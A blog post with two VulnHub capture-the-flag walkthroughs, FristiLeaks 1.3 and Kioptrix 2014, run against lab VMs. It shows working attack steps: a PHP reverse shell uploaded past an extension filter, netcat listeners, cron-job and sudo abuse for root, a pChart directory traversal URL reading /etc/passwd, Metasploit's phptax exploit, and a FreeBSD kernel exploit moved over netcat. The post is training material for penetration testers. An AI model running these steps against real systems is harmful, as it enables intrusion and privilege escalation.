Image.png

Since there is nothing else here, let’s go back and view the page source of the login page.

As my colleague, Sven, has always told me when we are working on a project — always view the page source, never trust the rendered output.

It’s very well said, as I have found several vulnerabilities on web applications that messed up because some developers did not expect their users to either view the page source on their web browser (e.g. Firefox users can right-click, view page source) or view the HTTP responses directly on a HTTP proxy server.

Back to the write-up — indeed, the page source has several interesting stuff. For example, the meta description content is hilarious:

super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.

Also, the TODO comments are very interesting as well:

Image.png

There are two things that I can infer from reading this TODO list: There are two things that I could infer from reading this TODO list:

  1. “eezeepz” is the name of the developer who created this application.
  2. He is the type who write notes within the application. Assuming he uses “eezeepz” as his username, what could the password be?

Going further down the page source, we can see that there is another chunk of base64 encoded content that was commented.

Image.png

Well, what could it be? 🙂

To decode the base64 encoded content, I used nano to make the content into a single line. It can be any other tools that you like – I need it to be a single line so I can conveniently use my terminal to run a command to decode it.

base64 -d /tmp/encoded.txt

Image.png

Wow. Apparently, it is a PNG image file, as you can see in the very first line of characters. Seems like it somehow links back to the meta description content of “using base64 encoding for images”.

First, we save it as a PNG file.

base64 -d /tmp/encoded.txt > decoded.png

Next, we render it and see what is in the image. Again, you can use any tools to do this. For me, I like to use feh.

feh decoded.png

Image

Interesting… for some reason, the only correlation of things that I can use for this set of characters is probably someone’s password…

Let’s try the following credentials on the login form:

username:eezeepz
password:keKkeKKeKKeKkEkkEk

Bingo!! Finally some progress!

Image.png

Looks like the only available function is the upload file feature. Now what? let’s conveniently upload a PHP reverse shell!

Gaining Low Privilege Access Shell

Simply modify and use the one from kali. If you are not using kali, you can download the reverse shell source code here, created by pentestmonkey.

cp /usr/share/webshells/php/php-reverse-shell.php reverse-shell.php
vi reverse-shell.php

Make the necessary changes to insert your own local IP address and listening port.

Image

Now setup a netcat listener to catch the connection.

nc -nlvp 8888

Image.png

Bad news! Only png, jpg, gif are allowed.

Image.png

Looks like things are not so easy after all.

There are many ways to configure a file upload function. Developers should consider many different things. For instance, to prevent directory traversal, they should use base() or rename the file completely (use microtime() and some random numbers). Also, check the file type and size if there is any limitation to be enforced.

The question now is, did the developer of this application implemented the file upload functionality correctly? Or is it only validating the file extension? What if I just add the .jpg extension to the php file, will it be able to bypass the validation filters?

cp reverse-shell.php reverse-shell.php.jpg

Since this is a VulnHub VM, there is no harm in trying things out! We all learn.

Image.png

Surprisingly (or maybe as expected), IT WORKS!!

Image.png

As hinted by the output, now is the time to go back to the “dead-end” that we have identified previously and walk the newly discovered path.

Render the following URL in your web browser:

  • http://192.168.117.135/fristi/uploads/reverse-shell.php.jpg

After rendering the page, a reverse shell has been established on your local machine!

[email protected]:/tmp# nc -nlvp 8888
listening on [any] 8888 ...
connect to [192.168.117.134] from (UNKNOWN) [192.168.117.135] 41116
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
20:59:09 up 3:45, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM [email protected] IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.1$

Now you have a low privileged shell as user apache.

Image

Privilege Escalation

As expected of a PHP reverse shell, the display is bad. It will repeat the characters, so the commands in screenshots from this point onwards may not be as accurate as it should be, but I will write the same command in the write-up, so don’t worry about it yeah.

Image.png

Now, let us perform privilege escalation. I will not write too much about the methodology and concepts of privilege escalation in this post, as I will be digressing too much. Let us go straight into finding the interesting information on this machine!

The first thing you need to know is the environment that you are in.

Run your favourite enumeration scripts, or you can do it manually based on this guide written by g0tmi1k. It has been super useful during my journey towards obtaining OSCP certification.

Kernel information:
Linux version 2.6.32-573.8.1.el6.x86_64 ([email protected]) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-16) (GCC) ) #1 SMP Tue Nov 10 18:01:38 UTC 2015

Specific release information:
CentOS release 6.7 (Final)

Interesting system users:
root:x:0:0:root:/root:/bin/bash
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100

Permissions in /home directory:
drwxr-xr-x. 5 root root 4.0K Nov 19 2015 .
dr-xr-xr-x. 22 root root 4.0K Dec 16 17:13 ..
drwx------. 2 admin admin 4.0K Nov 19 2015 admin
drwx---r-x. 5 eezeepz eezeepz 12K Nov 18 2015 eezeepz
drwx------ 2 fristigod fristigod 4.0K Nov 19 2015 fristigod

Network information 
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name 
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN - 
tcp 0 0 192.168.117.135:41116 192.168.117.134:8888 ESTABLISHED 3001/sh 
tcp 0 0 :::80 :::* LISTEN - 
tcp 0 0 ::ffff:192.168.117.135:80 ::ffff:192.168.117.13:43296 ESTABLISHED -

Software versions
Sudo version:
Sudo version 1.8.6p3

MYSQL version:
mysql Ver 14.14 Distrib 5.1.73, for redhat-linux-gnu (x86_64) using readline 5.1

Apache version:
Server version: Apache/2.2.15 (Unix)
Server built: Aug 24 2015 17:52:49

In the above information, in your opinion, which is the most interesting ones?

For me, I would like to check the user directory:

cd /home
ls *

Image.png

Notice anything interesting in the output?

.

.

.

Yes, you are probably right — let’s check out the text file at /home/eezeepz/notes.txt

cat /home/eezeepz/notes.txt

Yo EZ,

I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.
- Jerry

Image.png

Nice. Now we know that Jerry has put some of the useful binary files in his directory at /home/admin, and we can execute those binaries under his (root) privilege by creating a file called “runthis” in the /tmp/ directory.

Let’s try if we can spawn a reverse shell with root privilege using this cron job!

Set up a listener just like before and create the “runthis” file.

Image.png

It did not work.

Every minute, the cron job will execute the commands in runthis and update the cronresults file located within /tmp/ directory.

The current results are the following:

command did not start with /home/admin or /usr/bin

As such, it is not possible to directly spawn a reverse shell like that. We need to do it using another method.

Just to test it out, let’s try running the following command to verify that the cronjob is working fine:

/home/admin/chmod 777 /home/admin

Image.png

So apparently, it works!

<REDACTED>
total 20
drwxrwxrwx. 2 admin admin 4096 Nov 19 2015 admin
drwx---r-x. 5 eezeepz eezeepz 12288 Nov 18 2015 eezeepz
drwx------ 2 fristigod fristigod 4096 Nov 19 2015 fristigod

Awesome! Now we can read the content in the /home/admin directory.

bash-4.1$ ls -l

total 632
-rwxr-xr-x 1 admin admin 45224 Nov 18 2015 cat
-rwxr-xr-x 1 admin admin 48712 Nov 18 2015 chmod
-rw-r--r-- 1 admin admin 737 Nov 18 2015 cronjob.py
-rw-r--r-- 1 admin admin 21 Nov 18 2015 cryptedpass.txt
-rw-r--r-- 1 admin admin 258 Nov 18 2015 cryptpass.py
-rwxr-xr-x 1 admin admin 90544 Nov 18 2015 df
-rwxr-xr-x 1 admin admin 24136 Nov 18 2015 echo
-rwxr-xr-x 1 admin admin 163600 Nov 18 2015 egrep
-rwxr-xr-x 1 admin admin 163600 Nov 18 2015 grep
-rwxr-xr-x 1 admin admin 85304 Nov 18 2015 ps
-rw-r--r-- 1 fristigod fristigod 25 Nov 19 2015 whoisyourgodnow.txt

Here are some interesting files that can be identified in the /home/admin directory:

  1. cryptpass.py
  2. cryptedpass.txt
  3. whoisyourgodnow.txt

First, the content of cryptpass.py:

bash-4.1$ cat cryptpass.py

#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

Next, the content of cryptedpass.txt:

bash-4.1$ cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq

Lastly, the content of whoisyourgodnow.txt:

bash-4.1$ cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG

It is not difficult to guess that the python script was used to produce the content in cryptedpass.txt and most likely also the whoisyourgodnow.txt.

Based on the source code of cryptpass.py, I wrote a decode function to do the reverse of cryptpass.py, let’s call it decryptpass.py and here’s the full source code:

https://gist.github.com/kongwenbin/8551e2665f6be6e7083a182efbb7f10e

By the way, I wrote the script locally before transferring it over using wget. Please feel free to write it directly on the machine to your liking!

After executing the commands, you will get 2 sets of passwords for each of the “encrypted” text from before.

  1. mVGZ3O3omkJLmy2pcuTq becomes thisisalsopw123
  2. =RFn0AKnlMHMPIzpyuTI0ITG becomes LetThereBeFristi!

Image.png

I am very sure that LetThereBeFristi! is the password for user “fristigod”.

Let’s continue our privilege escalation, this time to “fristigod” since it is the only folder within the /home directory that we do not currently have any access to until now.

Something inside there might give us root access.

Run the following command to switch user to fristigod:

su - fristigod

standard in must be a tty

This happens because this is not a full shell. To resolve this issue, simply spawn a tty yourself (straightforward enough).

python -c 'import pty;pty.spawn("/bin/bash")'
su - fristigod

Password: LetThereBeFristi!

id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)

Nice, we are now user “fristigod”!

Once again, check our home directory:

pwd
/var/fristigod

ls -la

total 16
drwxr-x--- 3 fristigod fristigod 4096 Nov 25 2015 .
drwxr-xr-x. 19 root root 4096 Nov 19 2015 ..
-rw------- 1 fristigod fristigod 864 Nov 25 2015 .bash_history
drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 2015 .secret_admin_stuff

Noticed something interesting?

There is a directory named .secret_admin_stuff

cd .secret_admin_stuff
ls -la

total 16
drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 2015 .
drwxr-x--- 3 fristigod fristigod 4096 Nov 25 2015 ..
-rwsr-sr-x 1 root root 7529 Nov 25 2015 doCom

./doCom

Nice try, but wrong user ;)

As kindly hinted by the error message, I might be using the binary file in a wrong way.

Let’s try to find out more about the usage of this doCom, as this is most likely the gateway to make us root. It can already run programs as root (see its permissions!).

Reviewing the /var/fristigod/.bash_history file to find clues on how to use the doCom file.

cat .bash_history

ls
pwd
ls -lah
cd .secret_admin_stuff/
ls
./doCom
./doCom test
sudo ls
exit
cd .secret_admin_stuff/
ls
./doCom
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
exit
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
groups
ls -lah
usermod -G fristigod fristi
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e
Fexit
exit
exit

Did you notice that the “fristigod” user is always running the following sudo command?

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom

Seems like we have to run that same command as well, before we can attempt to execute any other commands.

To verify this, simply run the following command:

sudo -l

<REDACTED>
User fristigod may run the following commands on this host:
(fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom

Looks like we are right. 🙂

Image

Let’s try it out:

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id

uid=0(root) gid=100(users) groups=100(users),502(fristigod)

Wow, that was amazing. So, what else can I run?

If I can run the id command like above, can I directly spawn myself a shell?

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

uid=0(root) gid=100(users) groups=100(users),502(fristigod)

Perfect! Now we can go to the /root directory to check out the flag 🙂

cd /root
ls -la

<REDACTED>
-rw-------. 1 root root 246 Nov 17 2015 fristileaks_secrets.txt

Ain’t you excited? 🙂

cat fristileaks_secrets.txt

Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)

Flag: Y0u_kn0w_y0u_l0ve_fr1st1

That’s it! Congratulations, you have completed the FristiLeaks v1.3 VulnHub VM!

Image.png

Thanks for following my write-up, I hope that it has been useful to you and helped you learn something new — be it the thought process or the approach towards hacking a box like this.

Also, I would say that this a very good practice machine for folks who intended to take up the OSCP certification. If you are still on the verge of deciding, check out my OSCP/PWK course review, it might be helpful to you. 😉

Lastly, thanks Ar0xA for creating this VM, it was fun! Also thanks VulnHub for providing a platform for people to create and upload such CTF alike practice VMs for the community.

If you like this write-up, do also check out my other write-ups on the Kioptrix series as well.

Write-up for Kioptrix Virtual Machines from Vulnhub

lvl01_kioptrix_01

I have finally completed the writeup of all 5 Kioptrix Virtual Machines (VMs) from Vulnhub.com, I hope they are helpful to you.

While they are being categorised as “beginner” level challenges, I find them pretty challenging and definitely an effective training for me. I learnt many things through working on these VMs.

For your convenience, the following are the 5 write-ups on Kioptrix machines,

Cheerios!

Write-up for Kioptrix: 2014 (#5)

This is the finale post of the kioptrix series writeup.

lvl-5-000

Perform hosts discovery using nmap
> nmap -Pn 192.168.117.0/24 -T5 –version-light

Nmap scan report for 192.168.117.133
Host is up (0.00038s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
8080/tcp open http-proxy
MAC Address: 00:0C:29:BD:C5:DD (VMware)

Only two ports?

Let’s use the directory buster to check if there is any interesting webpages or login form,
> dirb http://192.168.117.133

+ http://192.168.117.133/cgi-bin/ (CODE:403|SIZE:210)
+ http://192.168.117.133/index.html (CODE:200|SIZE:152)
> dirb http://192.168.117.133:8080
+ http://192.168.117.133:8080/cgi-bin/ (CODE:403|SIZE:210)

No luck!

Perform Nikto vulnerability scan on the servers
> nikto -h http://192.168.117.133

– Nikto v2.1.6
—————————————————————————
+ Target IP: 192.168.117.133
+ Target Hostname: 192.168.117.133
+ Target Port: 80
+ Start Time: 2016-10-27 13:52:44 (GMT8)
—————————————————————————
+ Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
+ Server leaks inodes via ETags, header found with file /, inode: 67014, size: 152, mtime: Sun Mar 30 01:22:52 2014
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OpenSSL/0.9.8q appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ PHP/5.3.8 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 – mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

We will look into this again if required. Let’s try to navigate to the web page first.

Navigating to the website hosted on HTTP server port 8080 – it says that I don’t have the permission to access the page.

lvl-5-001

Moving on to the HTTP server port 80, it gives me the default page saying “It Works”.

lvl-5-002

However, the good news is that its source contains something that is not included in the default page.

<META HTTP-EQUIV="refresh" CONTENT="5;URL=pChart2.1.3/index.php">

Let’s try to navigate to the mentioned URL:
> 192.168.117.133/pChart2.1.3/index.php

lvl-5-003

Google for known vulnerabilities

Indeed, check out this website, it basically documented the multiple vulnerabilities which existed in pChart version 2.1.3 – which consists of directory traversal and cross-site scripting.

Perform directory traversal

Using the instructions shown on the website I shared earlier, we can perform directory using the following sample code reference,

“hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd”

In our case, run the exact following line (replace to your target’s IP address, of course)
> http://192.168.117.133/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

# $FreeBSD: release/9.0.0/etc/master.passwd 218047 2011-01-28 22:29:38Z pjd $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/usr/sbin/nologin
ossec:*:1001:1001:User &:/usr/local/ossec-hids:/sbin/nologin
ossecm:*:1002:1001:User &:/usr/local/ossec-hids:/sbin/nologin
ossecr:*:1003:1001:User &:/usr/local/ossec-hids:/sbin/nologin

Directory traversal is working. Remember the page at port 8080, the one which denies me from viewing due to insufficient file permission?

Let’s check out the apache HTTP server settings to see what were its settings and configurations.

Note that this is a FreeBSD server, which means that the config file is located at /usr/local/etc/apache2x/httpd.conf
> http://192.168.117.133/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf

Bingo, it works.

lvl-5-004

The following is suspiciously interesting,

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser
DocumentRoot /usr/local/www/apache22/data2

<Directory “/usr/local/www/apache22/data2”>
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Allow from env=Mozilla4_browser

It basically means that the results will only be allowed to shown on Mozilla Firefox browser 4.

After some research, I have gotten the user agent information of Mozilla 4,

Mozilla/4.0 (compatible; MSIE 4.01; Windows NT 5.0)

To use it, there are many ways. For me, I uses a Firefox plugin called Quick Preference Button. It has a lot of components with it, but you just have to change the item under Prefs>Spoof>Custom and then enter the above user agent information.

lvl-5-005

Now that you are accessing the web site using Mozilla 4 user agent, you can finally view the page,

lvl-5-006

The phptax web page information looks pretty old school.

lvl-5-007

Did some research, noticed that there are readily available modules in Metasploit to exploit on phptax.
> msfconsole
> search phptax

Matching Modules
================

Name Disclosure Date Rank Description
—- ————— —- ———–
exploit/multi/http/phptax_exec 2012-10-08 excellent PhpTax pfilez Parameter Exec Remote Code Injection

> use exploit/multi/http/phptax_exec
> set rhost 192.168.117.133
> set rport 8080
> exploit

[*] Started reverse TCP double handler on 192.168.117.128:4444
[*] 192.168.117.1338080 – Sending request…
[*] Accepted the first client connection…
[*] Accepted the second client connection…
[*] Accepted the first client connection…
[*] Accepted the second client connection…
[*] Command: echo UPBXBAbsRsBHMrXp;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets…
[*] Command: echo PLFkF52o2dwDMsR3;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets…
[*] Reading from socket B
[*] B: “UPBXBAbsRsBHMrXp\r\n”
[*] Matching…
[*] A is input…
[*] Reading from socket B
[*] B: “PLFkF52o2dwDMsR3\r\n”
[*] Matching…
[*] A is input…
[*] Command shell session 1 opened (192.168.117.128:4444 -> 192.168.117.133:48546) at 2016-10-27 14:51:35 +0800
[*] Command shell session 2 opened (192.168.117.128:4444 -> 192.168.117.133:63426) at 2016-10-27 14:51:35 +0800

> id

uid=80(www) gid=80(www) groups=80(www)

Now we have a limited shell as user www.

Check the kernel version
> uname -a

FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 [email protected]:/usr/obj/usr/src/sys/GENERIC amd64

Search for vulnerability on FreeBSD version 9.0
> Check out FreeBSD 9.0 – Intel SYSRET Kernel Privilege Escalation

Download and host the exploit code on your attacker machine
> nc -lvp 6666 < getr00t.c

Download it using the limited shell at your target machine
> nc -nv 192.168.117.133 6666 > r00t.c

Finally, compile the code
> gcc r00t.c
> ./a.out

[+] SYSRET FUCKUP!!
[+] Start Engine…
[+] Crotz…
[+] Crotz…
[+] Crotz…
[+] Woohoo!!!

> id

uid=0(root) gid=0(wheel) groups=0(wheel)

Congrats, you are now root!

> cd /root
> cat congrats.txt

If you are reading this, it means you got root (or cheated).
Congratulations either way…

Hope you enjoyed this new VM of mine. As always, they are made for the beginner in
mind, and not meant for the seasoned pentester. However this does not mean one
can’t enjoy them.

As with all my VMs, besides getting “root” on the system, the goal is to also
learn the basics skills needed to compromise a system. Most importantly, in my mind,
are information gathering & research. Anyone can throw massive amounts of exploits
and “hope” it works, but think about the traffic.. the logs… Best to take it
slow, and read up on the information you gathered and hopefully craft better
more targetted attacks.

For example, this system is FreeBSD 9. Hopefully you noticed this rather quickly.
Knowing the OS gives you any idea of what will work and what won’t from the get go.
Default file locations are not the same on FreeBSD versus a Linux based distribution.
Apache logs aren’t in “/var/log/apache/access.log”, but in “/var/log/httpd-access.log”.
It’s default document root is not “/var/www/” but in “/usr/local/www/apache22/data”.
Finding and knowing these little details will greatly help during an attack. Of course
my examples are specific for this target, but the theory applies to all systems.

As a small exercise, look at the logs and see how much noise you generated. Of course
the log results may not be accurate if you created a snapshot and reverted, but at least
it will give you an idea. For fun, I installed “OSSEC-HIDS” and monitored a few things.
Default settings, nothing fancy but it should’ve logged a few of your attacks. Look
at the following files:
/root/folderMonitor.log
/root/httpd-access.log (softlink)
/root/ossec-alerts.log (softlink)

The folderMonitor.log file is just a cheap script of mine to track created/deleted and modified
files in 2 specific folders. Since FreeBSD doesn’t support “iNotify”, I couldn’t use OSSEC-HIDS
for this.
The httpd-access.log is rather self-explanatory .
Lastly, the ossec-alerts.log file is OSSEC-HIDS is where it puts alerts when monitoring certain
files. This one should’ve detected a few of your web attacks.

Feel free to explore the system and other log files to see how noisy, or silent, you were.
And again, thank you for taking the time to download and play.
Sincerely hope you enjoyed yourself.

Be good…

loneferret
http://www.kioptrix.com

p.s.: Keep in mind, for each “web attack” detected by OSSEC-HIDS, by
default it would’ve blocked your IP (both in hosts.allow & Firewall) for
600 seconds. I was nice enough to remove that part 🙂
Here we conclude the Kioptrix CTF series.
Cheers.

And yes, this concludes my Kioptrix series write-up! Cheers.

  • 1
  • 2